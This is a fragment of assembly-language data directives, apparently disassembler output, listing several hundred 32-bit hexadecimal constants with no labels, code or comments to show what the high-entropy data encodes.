		dd 0A7FBD258h, 0B6B2048Dh, 25B0D061h, 8350D91Bh, 38B1213Dh
		dd 9272619Bh, 8A36CEB9h, 5759EBE6h, 636B746Bh, 9304CDC2h
		dd 636AC2DDh, 0FCF5E1C2h, 60A42FD1h, 5FA55F74h,	0D58259D0h
		dd 0F2FAA31h, 24E0626Bh, 5809FC8Bh, 6B026F38h, 39h, 4AAE12A9h
		dd 0CA5E241Bh, 245F8672h, 0EBB8CA5Eh, 122CA7C7h, 1D6A59F2h
		dd 5E244853h, 0AEF6BACAh, 0E30508D2h, 0CC8F6486h, 0C873D64Eh
		dd 386B8CFBh, 0CDFFFFF6h, 791E24B1h, 5F6E12A3h,	0AD0B2E5h
		dd 0E32123AEh, 6737794Ah, 6D37A292h, 6BD272F6h,	0D1F1586Ch
		dd 0CCF0D0B7h, 0EBDE6C04h, 96014355h, 581C90E2h, 0EF854DD2h
		dd 97697025h, 1AAA98FFh, 11CD8D1h, 0A6314FCEh, 0F1CD279Ch
		dd 1C3408Dh, 4AD7FED0h,	119A5A69h, 5DEFF286h, 0C50EC263h
		dd 3899C53Fh, 0C5400202h, 48FCD626h, 0BF9B7B7Bh, 3D16EE28h
		dd 0E858934Ah, 3EB64E84h, 73918B22h, 6F9EE9DAh,	26F47FEh
		dd 2123AED2h, 0BA3D4AE3h, 0AF3h, 0F16C2DEh, 68C26356h
		dd 0BD37F108h, 0E4B8DFF4h, 0DF656E12h, 42FB8C25h, 0EBF0CA44h
		dd 152FA9C5h, 8F3156EFh, 7A844F2Bh, 24939236h, 0D7ECCA5Eh
		dd 398648B0h, 0BB03D258h, 0B21F9366h, 77373C88h, 995BE1F2h
		dd 0E6D4C310h, 0CBB54F8Ah, 2B040002h, 9A341898h, 0D6C18A6Ah
		dd 0EFE9852Bh, 7116AF55h, 2896B307h, 8C38546Ch,	189E3595h
		dd 0D0B2E5EEh, 0EFBF010Ah, 0D44E03B9h, 0FFC1C6F1h, 0EE28BF9Bh
		dd 7A59CFA9h, 13A02098h, 0FB01D1ADh, 6844F08Ch,	0A43D657Ch
		dd 37A2BE10h, 755EE70Dh, 525AE022h, 0AE18DB3Dh,	0E34A180h
		dd 5D665DF6h, 23DDF753h, 84E8C474h, 2ACEB94Bh, 18A2F14Fh
		dd 2F36A2FEh, 8608A67Ch, 0A67C4362h, 0AB079C08h, 69A82417h
		dd 32A193F9h, 514D5565h, 0D17C42A5h, 7634D76h, 0FBD430CAh
		dd 5D0AC8Ch, 5BB6CCFCh,	0F2E1CD15h, 1E26B2CEh, 0D03A4DE6h
		dd 0F928CCF0h, 1008A690h, 2F843EC6h, 84BD1868h,	0D419CA9Ah
		dd 3C5C1D91h, 6FD43FADh, 0EF426F64h, 0E6806D87h, 1819718Eh
		dd 547C0000h, 0B81A56ACh, 5B728E84h, 844D31E1h,	626C947Eh
		dd 7CA630E2h, 0BC46FED8h, 1AE818B4h, 0B74BF9D6h, 30E21CB7h
		dd 0B0AF13A9h, 9C259BCh, 7D2A76Bh, 3D97B3FDh, 7D3AFE04h
		dd 0CF048E74h, 0FC603CC8h, 21692ED6h, 6D973F97h, 0D9F65A56h
		dd 9700C92Bh, 6BBD05A9h, 0A6B97CC2h, 16B84047h,	93D25746h
		dd 25D11EB7h, 0C26340FEh, 0E794A57h, 3D219F34h,	90B01C95h
		dd 8645443h, 51CBE2CFh,	7A91AB3h, 41203FA3h, 2879C263h
		dd 2CBB35Fh, 0B22123ADh, 0DF65720Eh, 81FB8C25h,	6340D6CDh
		dd 87512DC2h, 908F337Dh, 0E9C26341h, 1649AFD8h,	75C26351h
		dd 4047FDD9h, 6C58704Ah, 0C2633175h, 0F2CE05CEh, 0D3C4408Eh
		dd 2AA5C9E5h, 0D700DC18h, 87F1962Dh, 0CA5D3B41h, 182DAAC6h
		dd 6B2D4BE6h, 0CC289BABh, 0AA69403h, 696DC7DEh,	2C5B32BAh
		dd 4BFCA976h, 47695A67h, 5B99AB23h, 5B37C5D2h, 9B8C933Fh
		dd 0DCE5BA69h, 9B1A45ABh, 4BFBA69h, 0C3322E5h, 0E9850A61h
		dd 0BE1957EDh, 57641384h, 0A0000000h, 0DF656E12h, 63993925h
		dd 55E32770h, 2C506C54h, 4F56A2A2h, 0A8CA5E24h,	0F0CC6C1Bh
		dd 0ADC2438Ch, 2508A89Bh, 7EF2A52Eh, 0D2578E18h, 0A2FEC20Fh
		dd 3F52FBEh, 0C2636BDCh, 0A0446C35h, 0C2636C81h, 46BEC9DAh
		dd 0D9D8F65Ah, 23AC48C2h, 0C7B54B0h, 47EBh, 6E122900h
		dd 0D0B2E55Fh, 26D2EE0Ah, 0CA5E23FFh, 869D4B58h, 0DFCA5E24h
		dd 240C13BFh, 5C65CA5Eh, 38545C67h, 24717054h, 1CC8CA5Eh
		dd 0CA5E2405h, 646D555Eh, 42EFBD33h, 0EEB6D258h, 68652706h
		dd 1D0DEADAh, 28E80CB7h, 0E1646E12h, 2F4B3392h,	0DFA81B09h
		dd 1DB936A1h, 0B87289E7h, 0AC89960Bh, 0F44CBEB6h, 163A07h
		dd 0D379D00h, 23D9F9F5h, 3EF80FEFh, 1D27ACD4h, 37CD09E5h
		dd 7BD9F9CBh, 1D61B153h, 7D8191B3h, 2060B250h, 0D0778BB5h
		dd 0B9D908ECh, 5432C259h, 606E1240h, 8720E4h, 472C300Ah
		dd 2DDB76E4h, 466A467Dh, 5E1483A2h, 0C0C7DCCAh,	166ED400h
		dd 2783D258h, 6411A4BBh, 0CCB4FDC2h, 29020202h,	0D7FC645Eh
		dd 8A1A962Dh, 3E78AF0Dh, 0EF10C444h, 0D4004699h, 4BE79502h
		dd 0DC615F83h, 5F282E5Ah, 0A239B621h, 4D555B68h, 0AFAD83BCh
		dd 31A1DF2Ch, 3760E90Bh, 0BB7D3DBh, 0C2639A14h,	62A29C2Bh
		dd 0AFD8E9C9h, 0AED49749h, 7F58F4E9h, 2CB0D2C5h, 6FE06CCh
		dd 361A962Dh, 0A2466A9Ah, 9B185F83h, 52C0C7DCh,	38BD666Eh
		dd 9BA12580h, 3D4AF8D5h, 6F537345h, 9B191B70h, 5F78F8C9h
		dd 0FDC65FA5h, 5F73D7B3h, 0B07EF2A5h, 75A31339h, 4146FCD9h
		dd 0F1DD81h, 5FA52ED6h,	0EBB3FDC6h, 4B77F8DEh, 931E7854h
		dd 50B024ADh, 632166B3h, 0B0493B7h, 0FCF98A8Ch,	0B54F8414h
		dd 458D6B1Ch, 0F0E35D6Ch, 0F2961E22h, 0AE0255C8h, 15BE788Fh
		dd 0B2BA8082h, 2E609F45h, 55FAE5DAh, 0AFCD0ABAh, 88248C37h
		dd 66B55F38h, 0F7855B6h, 18842369h, 6804A89Bh, 1211D751h
		dd 6B8B2470h, 0ED913156h, 4C745FE5h, 85170684h,	0F2D6AE69h
		dd 8B2427F3h, 3B4C774Ch, 28120DC1h, 0A1318B24h,	547D599Bh
		dd 2828379Bh, 30818B24h, 66DD61A3h, 9030C683h, 0A163DDECh
		dd 3E67F08h, 0A2F76B33h, 0F0FC05A4h, 129B59E3h,	0A6B7D6C1h
		dd 0FA3AAC37h, 1D6D6AAh, 9BECF774h, 319DCh, 0FEDC1800h
		dd 0EBD7B3FDh, 0CA5E23F4h, 949EDF5Fh, 0F6BC0A5Eh, 0C2DEDAADh
		dd 63EBFADEh, 6F44CA5Dh, 66F25028h, 0A307D257h,	6361203Fh
		dd 544B77C2h, 0ADC26361h, 82159E24h, 43C98B8h, 149C2700h
		dd 1BE4AC8Ch
		dd 9BECA5A0h, 29DAF5E1h, 0EE519828h, 0FEEAC6DFh, 0C26395E7h
		dd 60607340h, 9689983Ch, 33A0C263h, 6F18A909h, 0E0931B23h
		dd 5D7A3D89h, 0C7945A8Bh, 0BB080624h, 2021ACCCh, 0A7970260h
		dd 0D8D8EB74h, 0DBC2F4C8h, 0D6C1D9F5h, 0CA2E922Eh, 0C263379Bh
		dd 40B8DFF4h, 0E9AE719Eh, 14F012BBh, 0B351EBE8h, 212EAD24h
		dd 9F3915C9h, 30AB3265h, 0B0A8C010h, 0EBABB79Fh, 9075C7D9h
		dd 0DFA8D252h, 22B936A1h, 0E3F00CE8h, 0C9066A59h, 4428883Bh
		dd 7E0C7BB5h, 0EBFADEC2h, 449B1777h, 0FDD8286Fh, 3D217D43h
		dd 5A896F95h, 0B39B1778h, 77B8E70Bh, 0C0119B17h, 1A49AD13h
		dd 739B1777h, 0EFCB395Eh, 51FC9CDFh, 8106122Eh,	62B065F7h
		dd 5E6B82C2h, 9C35CF75h, 21B1CD27h, 8954D91Bh, 37E30552h
		dd 0D8504767h, 0CC49F5ECh, 4F854E73h, 0F5A2D8CEh, 0EDD17168h
		dd 0CCF0DA09h, 0F99E3373h, 0F3DFCC07h, 0B122AB49h, 0E0626B0Fh
		dd 0F60E36A0h, 0E0E02A5Dh, 51B36D7Ch, 0E6F10F78h, 0D034CE09h
		dd 88E4CCF7h, 753EB64Eh, 0A2BE5A22h, 8486110Bh,	0B20EB2B9h
		dd 5FF05CEh, 0AE955B2Ch, 0C573CCF1h, 0F7DEBAFDh, 359E26E0h
		dd 0BD2987D5h, 73CCE5A6h, 0D5E5B2FFh, 62A25879h, 0F208FAC9h
		dd 3FF91068h, 0D9D7ECC5h, 4AAA5875h, 862A1681h,	9C58ECEAh
		dd 96EC8413h, 0AB7BC6F7h, 0FCE805CFh, 6BD2D1E5h, 395E753Eh
		dd 0F7B3989h, 7291F484h, 0D1FB5F61h, 9C682Fh, 8629389Ch
		dd 31826BD2h, 86BF1A66h, 113278AFh, 61852B64h, 6BD2FB42h
		dd 0F3BD069Bh, 0D6C17B57h, 0AC18743Ch, 6BD2FBB5h, 0A6D2C50Eh
		dd 0B397192Bh, 450EE618h, 720EAA52h, 3FB9DE66h,	6BD2FB38h
		dd 5A77D387h, 0F9CB64A0h, 91FC096h, 934A3DD2h, 4B84E858h
		dd 25723BB9h, 0DBF3F8D3h, 0D102CB29h, 0B5217D41h, 6BD2CDAEh
		dd 0CCC2E105h, 861B6BD2h, 88F0972Ch, 0E02705FBh, 0E164720Eh
		dd 22E90130h, 8EF9CA70h, 0D5DBE07Ch, 7C556279h,	2EA52EC6h
		dd 0AC5A969h, 3994B8F8h, 0D9EA1AB4h, 5A6A56AEh,	0D6E03715h
		dd 0AF388C1Ah, 8C33B61Dh, 67AE4255h, 887DC665h,	0ECD8B4D8h
		dd 713717F5h, 6C73854Eh, 0C5713718h, 0C11228A9h, 6CCC0FD6h
		dd 4D3AC210h, 834BA02Bh, 666E5281h, 0C9EBCF28h,	682275EEh
		dd 0E100E4C8h, 3A713679h, 0FDDF526Ah, 9A295499h, 3EC00BEDh
		dd 0EA133282h, 8D60AE2Eh, 8413C042h, 95401CF8h,	54E61C6Bh
		dd 9947B248h, 0A91ABDD2h, 0CD1BB707h, 0E465AE20h, 0C5A905B3h
		dd 0E48CFB09h, 79313946h, 5CE6EF8Bh, 0E3EF8F2Bh, 0C1129B59h
		dd 0D0725BFFh, 9EEC9B34h, 0AA61h, 329BBF00h, 62510911h
		dd 972C8072h, 6E122CF0h, 0D3B7E064h, 0DADD0505h, 8493B25Eh
		dd 0C40D714Fh, 0A460E2EBh, 203CB80Bh, 3A368DB7h, 85336498h
		dd 5778F361h, 4C86EAD2h, 11743CB8h, 7445B05Fh, 995B685Bh
		dd 0CC7661FDh, 0DC15BDBBh, 641BE9F8h, 627142C2h, 1BD6025Eh
		dd 641CA8B7h, 23B001C2h, 0D33F48E1h, 0BC468FEBh, 2C286F38h
		dd 2C906575h, 642299C8h, 0B6E1F2C2h, 27AF09D4h,	854ED71Dh
		dd 8CB61F3Bh, 8B8DF68h,	75D31CA4h, 30103CEh, 0F5669A2Ah
		dd 1A11E7B0h, 61C263F5h, 0D034EEFDh, 0CEB290F7h, 2C05FF05h
		dd 0D219E197h, 0C351FE07h, 0E71929E4h, 17CCD4DCh, 9DF50681h
		dd 0BE821077h, 26EFF6E2h, 7B48CA5Dh, 4464F60Ch,	5D2781A0h
		dd 0FAC9DACAh, 5389AB6h, 653657B5h, 0B83C87EBh,	0F498A8EFh
		dd 1F86F0ACh, 0CBB5CE81h, 0DB95023Ch, 0D2578E85h, 19D8F65Ah
		dd 6377B6ADh, 11C20FC2h, 8D2D5AF3h, 9D49E6F1h, 0C2637786h
		dd 7F01D2DFh, 9917AC56h, 9CEB19B5h, 9C009Ch, 6376CDD4h
		dd 4B9D26C2h, 0C2637754h, 857324ADh, 838BB48h, 4E594E45h
		dd 0D2733B85h, 8A656F5Bh, 0C8DBCBF9h, 0E83F02C8h, 6F4BF39Fh
		dd 63F85C83h, 9BECB5C2h, 547F705Dh, 3FC57F57h, 0E975D66h
		dd 725FFBC5h, 5945BFC8h, 0FEAF1549h, 0BDCA5038h, 66E7F3C5h
		dd 35D20B5Eh, 8F2B953Eh, 11EB1C3Fh, 0A4F3849Bh,	5D9D42CCh
		dd 3FEFBFCAh, 0EA9D4B3h, 64515074h, 19AABA69h, 0D4DDDDAAh
		dd 0BF7990ECh, 85BF1945h, 6A1DA67Fh, 8D4A2612h,	0E3B47D77h
		dd 6974120Dh, 0A94D71BAh, 0BA69547Ah, 53FE25D1h, 4A57BA69h
		dd 6AF25C68h, 0FC1604C1h, 0F0CAC0C7h, 0BD063E98h, 0C27B57F3h
		dd 68C5CFCAh, 155B686Eh, 0DF688C86h, 0AEDC08B8h, 35C263CBh
		dd 0E425336Dh, 90F0BF32h, 723BB943h, 0D0FB5F61h, 379B692Eh
		dd 0B26F7624h, 7B798B43h, 517B485Fh, 1FE024AFh,	0F00643A6h
		dd 0EAC67675h, 6F75E7FEh, 2FD5FEB2h, 34593E93h,	127B2B25h
		dd 48FAD377h, 37423ACh,	5Eh, 0E5119D25h, 0C341C30Eh, 0F9CADAEAh
		dd 12110394h, 0ECE1646Eh, 0E2E9A5B9h, 0D15A9A29h, 0F5F6C4C6h
		dd 478BEFCBh, 0B026CABDh, 0A5D25785h, 89F08C9h,	665DF60Eh
		dd 0D6912121h, 9ACA2F38h, 0EFF6E2DEh, 48C26328h, 0CFAC487Bh
		dd 65h,	9E2DE1F1h, 0D4C125E6h, 632FF1F0h, 4A794AC2h, 0AE12573Dh
		dd 5E241B4Ah, 385F74CAh, 0A3308852h, 19CDCE9Ah,	0C1122DCAh
		dd 57596A43h, 0E4908F33h, 0D8E9CA5Dh, 0D1AD11AFh, 0E4FBE700h
		dd 3DCA5DE3h, 0E2755F74h, 0AFE6836Fh, 0EDBB3562h, 0B4D257CAh
		dd 8DB9E80Ch, 6E12C263h, 8922E262h, 0CF6B893Ah,	772022ABh
		dd 92C212A5h, 688C8D08h, 626D8BFCh, 606D428Dh, 3A8922E2h
		dd 0CFE2F1BAh, 0BEB6A3A8h, 78A6D32Dh, 0DB00000Eh, 0B7B74BF5h
		dd 4D31E11Bh, 728E84BEh, 4727DB61h, 0B79D758Fh,	0FB09C58Fh
		dd 53EDE707h, 0EC16BFBFh, 45FFDA16h, 12B60ACDh,	0C259B313h
		dd 120A0A6Ch, 0B766BCC2h, 8DFA7EF6h, 0A1BDC7B0h, 5DF60E34h
		dd 7A82582Ah, 21ECAC61h, 0B1537C39h, 7A497A53h,	84B81A36h
		dd 0E5892513h, 70545CD6h, 0CA5DCE71h, 0EA8EF9CAh, 0D257E328h
		dd 0F50FC9A5h, 7151360Fh, 0C341C30Dh, 7418D9EAh, 0B8B5AC18h
		dd 0C50EC263h, 92471ED2h, 421E84AAh, 8FB11B96h,	0C9E7C044h
		dd 1CDE061Dh, 45525F00h, 526E7B3Dh, 3CC0126Eh, 0F0A3A54Bh
		dd 0CB00816h, 22CBB9E8h, 0D6C112F8h, 811DD7ECh,	484FF5DDh
		dd 0ED747842h, 3CC28C46h, 411DA330h, 0DB8A6F94h, 0F309BF1Fh
		dd 0FC8B24E0h, 0EDFC603Ch, 0B99E9A34h, 3A89B481h, 1C0BA34Dh
		dd 2844001Dh, 380295AFh, 0A064F16Ch, 3094E671h,	0F028D031h
		dd 268A398Ah, 28D0A3C2h, 1CA7FCF0h, 0D5CCF894h,	2EF028CFh
		dd 6A46F2A5h, 93BEC85Ah, 574059E4h, 2C94AE29h, 0A43D6490h
		dd 6CA8F028h, 358F93B4h, 8DFAC7EBh, 795D41FDh, 0F028BD6Ah
		dd 7AB199D5h, 0F1D1A947h, 0EC9B7E0h, 8EEEF5E1h,	7A47F028h
		dd 0AD3B5849h, 3A9A98EBh, 0D261Dh, 0B14B8900h, 8FB51D61h
		dd 0B26C7B83h, 89B32060h, 0AB597579h, 0F456D57h, 0A9C53DC7h
		dd 1FD152Fh, 9CE42ED4h,	54030F31h, 0B1657C68h, 0A8BEC259h
		dd 0E3C212D4h, 0BFB7DEA1h, 0D702FE89h, 23B7AE1Ah, 0EA0ECA5Eh
		dd 0CA5E22BBh, 0AE03BF14h, 19558C25h, 2080BEB6h, 0CCE33h
		dd 99A33100h, 0B74D8569h, 9A94234Bh, 0B14B8868h, 93B11D61h
		dd 0A7ADD57Fh, 1FD152Fh, 99D52DD7h, 0F4FC063Ch,	0ECDB27D9h
		dd 0B0FD24D0h, 56C259h,	0F2C212FCh, 0C993ED44h,	0A9245443h
		dd 0A8258844h, 2CB299Ah, 27CBEFD1h, 0CA5D72F8h,	6D178051h
		dd 2321ADD1h, 929135E1h, 0EBCA5D73h, 689AEDD6h,	0A75D76D2h
		dd 9CA6314Dh, 0CF04CF58h, 0FA29CDF1h, 53CA5D72h, 269DA72Bh
		dd 1B9CC89Eh, 880F43C3h, 94B8D4B8h, 64ED0739h, 5DD48D94h
		dd 0D3DDE6CAh, 5DD3F0EFh, 0F7849CAh, 62305169h,	8E167AD2h
		dd 6569A0F6h, 0C4DB0DBFh, 1DC2596Ch, 6B370394h,	13A881FBh
		dd 59EBE617h, 13C1129Bh, 93DFDC82h, 347C4780h, 8381BB18h
		dd 5B2DDDAAh, 667D697Dh, 0D1C2593Ch, 0DB4FB376h, 0BE13AFC8h
		dd 2CFAB15h, 6433FCF8h,	9E683854h, 9EC531F0h, 0F7C259D3h
		dd 48461AAAh, 1B710790h, 20CA539Bh, 2572923Ch, 88248C15h
		dd 5F4C455Ch, 82159EBAh, 90421EFAh, 4A551B6Ch, 69BA5F4Ch
		dd 401CD852h, 0D68A6A92h, 47BF8C4Fh, 0A524757h,	0F27FEE37h
		dd 0EE21B8A5h, 0A6B537Fh, 5A896D51h, 0B3BA5F4Ah, 7306791Eh
		dd 2A000001h, 0D7A8A46h, 61271707h, 0D034EEFDh,	160DB9F7h
		dd 6FCA5E24h, 8B4D3562h, 589CA62Bh, 0DE05F1CFh,	37CA5E23h
		dd 3357596Ah, 5E24908Fh, 0AFD8E9CAh, 3AD1AD11h,	0D14C000h
		dd 66CA5E24h, 0CC62A5Dh, 8BD2583Ah, 1A8E1537h, 448FDA45h
		dd 0ADB4207Ch, 6C263BFh, 482F07BDh, 561BF894h, 1324D031h
		dd 3E916A48h, 246F7662h, 0FBC8F35Ch, 84E4768Ch,	743DB749h
		dd 2479A84Ch, 1D2F35Ch,	0D5E6EED2h, 8457983Fh, 724EEA9Dh
		dd 0C341C30Eh, 21F4EBD7h, 844DF35Ch, 5E85714Fh,	0B7F35C22h
		dd 55D39DEAh, 9AFB5640h, 9BEC18B6h, 0EB15BF9Fh,	2D934009h
		dd 197E8451h, 4FFCF6Bh,	77F679C5h, 8F96427Eh, 0E8EB619Ch
		dd 4D6ACDBh, 73E9B9F7h,	0DF651CF0h, 0BAE90DB3h,	13EB61BDh
		dd 0C3E7D9BEh, 0EF152FA7h, 0ECC73156h, 9DF35FF7h, 0E5EE14C1h
		dd 0C13BFDBh, 65E36383h, 318D2B5Ch, 67512EA1h, 247364CFh
		dd 2048F9D4h, 5960796h,	0F2122CA7h, 0CC066A59h,	49258B38h
		dd 860C7388h, 0FE05D6A9h, 0F1962FD5h, 0D1725DA1h, 1DB8E133h
		dd 3C8821E3h, 81521644h, 0B0B8AF30h, 0B1CE26A5h, 0A4Fh
		dd 0E81A22B2h, 0E032CA08h, 30F09A0h, 0D62CD6FBh, 0FA083C9Ah
		dd 0AC2A2A4Ch, 4A866A98h, 0AF2848BAh, 56817D95h, 4D7356ACh
		dd 59AE7AA9h, 0E1B1D3C2h, 161D1h, 0AE12CB00h, 5E241B4Ah
		dd 9FA532CAh, 0E1F28E23h, 84562C5Bh, 859C4864h,	0DECA5E24h
		dd 23FC23D5h, 4C55CA5Eh, 0BA153977h, 0B4E36C88h, 5018A804h
		dd 4A919735h, 3E2EC2D5h, 87D2622Eh, 3057E9E3h, 65DFEE92h
		dd 0A42E526Eh, 6549F7A0h, 0A333C809h, 8BC5C014h, 63EC08BBh
		dd 24894434h, 842C97A9h, 9E56EEE8h, 28088215h, 51EBE884h
		dd 5A1B78A7h, 8000D1C2h, 7D56AE56h, 62E3EE0Ah, 0A3C62B0Bh
		dd 922EA5ACh, 3562E2EEh, 4BE3EBC7h, 56308CEh, 0EECCBEC9h
		dd 1A5967EEh, 0B6BAE870h, 4009EB19h, 0C5A52D93h, 9F970612h
		dd 0EED26E19h, 0F3FF26D2h, 4B58C259h, 0D66B43Ch, 714DCA54h
		dd 5FDC5E85h, 0D9EAB7BAh, 100FB3D7h, 69BA5FDCh,	87811858h
		dd 49B3E46Dh, 22B1656Dh, 0AA391072h, 8FF80CC6h,	4C89DD7Bh
		dd 76623EB6h, 0BA5F7B6Fh, 0FBC8FBC8h, 0C1C9D9B5h, 6C77AA53h
		dd 4082F6A1h, 0DDC25993h, 2D995681h, 0B2658D36h, 7391428Fh
		dd 0B10DADDAh, 658D1E45h, 262B77B2h, 10685395h,	458F44h
		dd 50AC0169h, 7302AF24h, 62D6AE98h, 8E9D502h, 844C0000h
		dd 686A867Ch, 0AB423ED4h, 745DA171h, 923C44CEh,	8CB6A072h
		dd 0CF60EC8h, 0AA58E8E4h, 7FB09C6h, 0C052ECE7h,	203FA319h
		dd 79C259ADh, 1B4A17DBh, 72CA5E24h, 247BAA4Eh, 0ECD4CA5Eh
		dd 5E23D908h, 32A132CAh, 24908B65h, 1FB9CA5Eh, 99344C1Bh
		dd 50833E3Bh, 84704C70h, 0CA5DC45Dh, 0CB64E4C8h, 12B002C4h
		dd 1A22D6C1h, 43D261C8h, 973FAC27h, 15BE876Dh, 0ECD8B882h
		dd 0C2590FF5h, 724E854Eh, 48448D62h, 0B1D638F0h, 90576753h
		dd 4E0F5575h, 7D58A8EFh, 3955EEC3h, 2080C6BBh, 84633h
		dd 112BA900h, 2FD5FD01h, 120C9BE3h, 29D30000h, 0B3995D9h
		dd 2F254DF7h, 89659DA7h, 215DB54Fh, 7C848EB4h, 7463AF51h
		dd 0AC859C48h, 88DEC259h, 656E1274h, 0FB8C25DFh, 0CEDDD2FDh
		dd 0AC17B054h, 4E62BC04h, 3F9FFA71h, 2E596A94h,	4C86EAD6h
		dd 1DBBCFB8h, 12F208C9h, 629C3739h, 0CD7F4F71h,	24542C1h
		dd 0A058AA40h, 899E6B34h, 25E42FEh, 955B2CD0h, 0D2580233h
		dd 9DA17142h, 3C9916C1h, 1FB3BD06h, 1861FE5h, 0D0357E77h
		dd 0B719A9FEh, 79500F3h, 527C7C0Bh, 0F9CA745Fh,	8E492509h
		dd 40C00C74h, 5C9CEBC4h, 92EED272h, 31CBBC40h, 56ECE985h
		dd 8082159Eh, 0C111AFBCh, 0D9CA46D1h, 36D4C338h, 0F6FBD67Ah
		dd 5D972CD8h, 12D1C3D4h, 0F2E2626Eh, 0D1BDB122h, 0CAB6E117h
		dd 517EE20Fh, 991E45B3h, 2A77CA5Dh, 9A331799h, 99727155h
		dd 0F6CBCA5Dh, 874B27CDh, 25AE777Dh, 522E0A72h,	0AB848084h
		dd 0BC319CDCh, 0E0E0F32Dh, 0E7B0507Ch, 0B03B832Bh, 263DA966h
		dd 7FCA5E1Dh, 0DE04A232h, 0EEF4F93Fh, 9B282076h, 0E44416ECh
		dd 849B47EAh, 0DDCA5E08h, 2C05FFD4h, 9A351997h,	0D4C38C68h
		dd 1EAE00E4h, 4F6BD258h, 63F17CA3h, 0BBCCD5C2h,	2C339FFFh
		dd 85C263F1h, 8529873Ch, 63F14261h, 81069BC2h, 9E331703h
		dd 0A2BD3364h, 0C1C263F1h, 120C9B14h, 8A6A59F2h, 28E65F6Eh
		dd 5FDEBFEh, 66DA1AA9h,	0B74FFCDFh, 0EC7A307h, 54DD04F4h
		dd 6D36C263h, 65A8431Ah, 26F4EF4h, 8F07h, 0FEDC0500h, 0E0134DFEh
		dd 30CF455h, 23E3726Bh,	337D467Dh, 0B69D096Bh, 2CAA0FDBh
		dd 8053DC18h, 878D9440h, 0DDE6CA5Dh, 0EB20EAAh,	5D86BBEAh
		dd 0D8BF14CAh, 57BB3220h, 8F4327D2h, 78182275h,	6351554Ch
		dd 0E0606CC2h, 9A278B24h, 0DFEFCB29h, 89DE4029h, 0C42C5B58h
		dd 0C263AC99h, 0EE61EB8h, 995BE1F2h, 0B48A31Ah,	0A22F4BEBh
		dd 7376EF98h, 7424FBC3h, 0E672CEB1h, 0FFD6CA1h,	0ABCF026Fh
		dd 0FCD81C26h, 0FDD62ED6h, 1C3EC1C6h, 3E000002h, 0CC656E12h
		dd 5E23F928h, 528152CAh, 0F7577C82h, 5D2A5EA6h,	0AC3BB01Bh
		dd 3B5F6172h, 5D2A8897h, 0F0D0E1CAh, 5D29DD04h,	1A6D36CAh
		dd 0AC587662h, 0A4506C48h, 0CA5D2A7Dh, 0BEBACDD6h, 12339E13h
		dd 4AD24777h, 55AF247Fh, 4569477Ch, 5D4482A1h, 3B3EEDCAh
		dd 0DA3E46EFh, 40BCCBD8h, 9B34B914h, 0FEC28B69h, 5D52CBDAh
		dd 448F24CAh, 923C207Ch, 2FB99272h, 0CA5D5330h,	0C34F3889h
		dd 2C339FFBh, 85CA5D53h, 59A54B3Ch, 0FACA5D58h,	0BCCB7956h
		dd 319C11BCh, 0D6ED17BCh, 79FBC3EDh, 93E3065Ah,	0F7FA652h
		dd 0CBD8CA5Eh, 3B038FF8h, 678DB71Fh, 0CC7B9DEh,	13BB089Fh
		dd 8922E2F1h, 452E763Ah, 0E7BE7825h, 0A669A645h, 6EB61C1Eh
		dd 9BBF5B29h, 5BF41032h, 2484562Ch, 0BD599B95h,	5E070A19h
		dd 854E63CAh, 324E724Eh, 0D0599BA1h, 185B31C7h,	3C60D258h
		dd 63F68998h, 0C6D1E2C2h, 1FB894FCh, 62861FE5h,	0C263F643h
		dd 0F4BC079Ch, 5A744158h, 52814AAAh, 246E19B2h,	4D54801Ch
		dd 0A6C263F6h, 0C2986A1Dh, 7B53F7B9h, 55A32BC9h, 10CA92B7h
		dd 0D8E8AF24h, 53F98B4h, 2204DE92h, 7DE1CA61h, 2D0B052h
		dd 6631FAFAh, 29DBF45Ch, 0EFD102CBh, 0A0F827CBh, 6D51BA66h
		dd 66A15A89h, 0B51EB3BAh, 46A0111Fh, 691928Fh, 0DDFA563Ah
		dd 0B6206027h, 6759128Fh, 2D18A2Dh, 79E7F6BEh, 0DB1BC48Ah
		dd 1CB54FF1h, 8E32E0A7h, 0A460E4F2h, 2241A50Bh,	7BBA670Eh
		dd 0B71F6126h, 6E659F3Ah, 0AD2DA043h, 0FEDB35CEh, 46Fh
		dd 8FA02D2h, 0C052EAE8h, 23EF29C0h, 0B64CF6DBh,	1AE81CBAh
		dd 8C4A0A2Ch, 6A668A78h, 8F4828DAh, 76619D75h, 2D9336CCh
		dd 59A89AC9h
		dd 8191F3C2h, 1B4AAE12h, 74CA5E24h, 8E48385Fh, 3E95AF23h
		dd 54F1DE82h, 8E2F0D50h, 6631A252h, 3CA804ACh, 0CA5D8B25h
		dd 1662357Eh, 6C9836BBh, 0FE14BF88h, 6B7A5E42h,	0C2CA5D8Bh
		dd 5D8B0F16h, 575B68CAh, 0DC573D4Ah, 172DAAFEh,	0A62C54DDh
		dd 2F8B359Eh, 5E249CC3h, 4ACF5CAh, 5E23C1E0h, 0FE891ACAh
		dd 0EB025E42h, 8DFAD331h, 5858EDE3h, 1ABEE2D2h,	0C263EE0Bh
		dd 33EDFC64h, 0BCCBF8D1h, 0E4EB6FEh, 706A795Dh,	0EEC3C263h
		dd 6968BAE6h, 63CE667Dh, 0E1F2BFC2h, 0C206CEF2h, 0DF964562h
		dd 7E768843h, 0B791EB5h, 81834B2Fh, 13DDAA83h, 0C2636C08h
		dd 6F95AF27h, 3BB94B83h, 698BB51Fh, 0EBEEF7E0h,	54F8A85Eh
		dd 0A029CB45h, 0CB6B6EF7h, 0AD31DFEFh, 8AE6C8E6h, 6380475Eh
		dd 8413A0C2h, 6F21D081h, 1A1CA402h, 0BF1369CFh,	0C12BCCBBh
		dd 8D000001h, 0ED8AEC45h, 286F32BFh, 0C1C212F4h, 0D56F68BBh
		dd 1E2E962Fh, 394750A9h, 0BF21659Eh, 0BA2400E2h, 0BB03A709h
		dd 41D3D2C6h, 0D4CB1DFEh, 2DCA5DEEh, 0AD89F3A4h, 0F9FB01D1h
		dd 0BD196730h, 71559834h, 0CA5DEF72h, 0F6CDF6CBh, 953E22FEh
		dd 2C50286Fh, 0CDCA5DF4h, 0E51F25B1h, 0EA968D39h, 0E2EFCA5Dh
		dd 7F5AA6F1h, 24E06472h, 71629A38h, 0D4025E62h,	3AB6730h
		dd 0C7D06A67h, 0DCE41EB9h, 2E9A5780h, 0CA5DEA37h, 74904390h
		dd 6450ACDBh, 5037F108h, 159CA03Ah, 6B5C64F8h, 0CC78561Ah
		dd 8C349F28h, 0A65EE6F0h, 0E2BE7A0Dh, 1797AD2h,	0FDD62ED4h
		dd 53AA82C7h, 5D6A706Fh, 0CBF8C9CAh, 7B5634BCh,	3F5BD257h
